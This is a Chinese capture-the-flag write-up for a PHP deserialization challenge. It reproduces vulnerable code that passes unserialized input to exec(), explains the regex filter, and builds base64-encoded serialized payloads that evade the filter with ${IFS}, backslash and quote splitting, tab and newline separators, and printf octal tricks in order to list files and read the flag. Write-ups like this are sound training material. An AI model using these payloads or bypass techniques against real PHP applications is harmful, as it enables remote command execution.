一、打开环境,浮现源码
php
<?php
highlight_file(__FILE__); //高亮显示文件
class ease{ //创建 名称为 "ease" 的类
private $method; //创建一个私有成员变量 method (私有成员变量只能在类内访问)
private $args; //创建一个私有成员变量 arg
function __construct($method, $args) { //初始化对象 method、args
$this->method = $method;
$this->args = $args;
}
function __destruct(){ //在脚本关闭时执行以下语句
if (in_array($this->method, array("ping"))) { //如果 数组ping中存在method的值
call_user_func_array(array($this, $this->method), $this->args); //返回回调函数的结果
}
}
function ping($ip){ //数组ping(变量ip)
exec($ip, $result); //执行外部程序:查看ip
var_dump($result); //输出ip查询结果
}
function waf($str){ //防火墙(变量str)
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str; //如果str中不含有上述字符,返回函数
} else {
echo "don't hack"; //否则的话,输出"don't hack"
}
}
function __wakeup(){ //当类在外部执行反序列化时,执行此方法
foreach($this->args as $k => $v) { //遍历输入字符,传递到防火墙中检查
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf']; //传参变量为ctf,传参方法为post
@unserialize(base64_decode($ctf)); //反序列化(以Base64的形式解码变量ctf)
?>
二、考察点
常见的magic函数:
__construct()在对象创建时被调用;
__destruct()在php脚本结束时被调用;
__wakeup()在反序列化时被调用unserialize();
__toString()在对象被当作一个字符串使用时被调用。
代码逻辑:接收输入POST['ctf'] -> base64_decode -> unserialize -> __wakeup() -> waf()正则过滤args中的危险字符(, &, |, ;, , /, cat, flag, tac, php, ls) -> __dectruct()满足method='ping'条件时call_user_func_arry(ping(), args)-> ping(args) -> exec(args)执行命令。
漏洞利用思路:
(1)创建ease对象:method='ping', args='想要执行的命令'
(2)序列化ease对象,再经过base64_encode编码之后,通过post请求 ctf=""
三、构造payload
方法1:利用${IFS},\,""等绕过waf检测。
php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$obj = new ease("ping", array('l\s')); // 列出目录 array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
$obj = new ease("ping", array('l""s${IFS}fl""ag_1s_here')); //array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
$obj = new ease('ping', array('more${IFS}fl""ag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));// "/"的八进制编码为\57,使用$(printf${IFS}"\57")内敛执行输出"/"到字符串中。
// 序列化并Base64编码
$ser = serialize($obj);
echo $ser;
echo "\n";
$b64 = base64_encode($ser);
echo $b64;
?>
方法2:\x09:制表符 \x0a 换行符 结合\ 绕waf
php
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$obj = new ease("ping", array("cd\x09fl\ag_1\s_here\x0al\s"));//\x09:制表符 \x0a 换行符 因为preg_match_all方法是全局搜索
$obj = new ease("ping", array("cd\x09fl\ag_1\s_here\x0ac\at\x09fl\ag_831b69012c67b35f.p\hp")); //array(2) { [0]=> string(5) " string(47) "//$cyberpeace{7f98528181769e05c04b7b6d89ddb5c7}" }
// 序列化并Base64编码
$ser = serialize($obj);
echo $ser;
echo "\n";
$b64 = base64_encode($ser);
echo $b64;
?>
方法3:
php
$obj = new ease("ping", array('find')); // 列出目录里面的所有文件
将产生的序列化串通过post方法的ctf参数传递,即可出现flag。
waf拦截规则解读:if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", str, pat_array)),preg_match_all()执行全局正则表达式匹配,会搜索str中/(\\\|\|\&\|;\| \|\\/\|cat\|flag\|tac\|php\|ls)/的正则式匹配结果,并输出到pat_array中~
本题"/(\||&|;| |\/|cat|flag|tac|php|ls)/"是正则表达式,"//"表示字符串的开始与结束,\表示转义,|表示或运算;
禁掉的内容为①|(转义)②&③;④空格⑤/(转义)⑥cat⑦flag⑧tac⑨php⑩ls
\没有禁掉,所以构造payload的时候可以分割flag等字符串。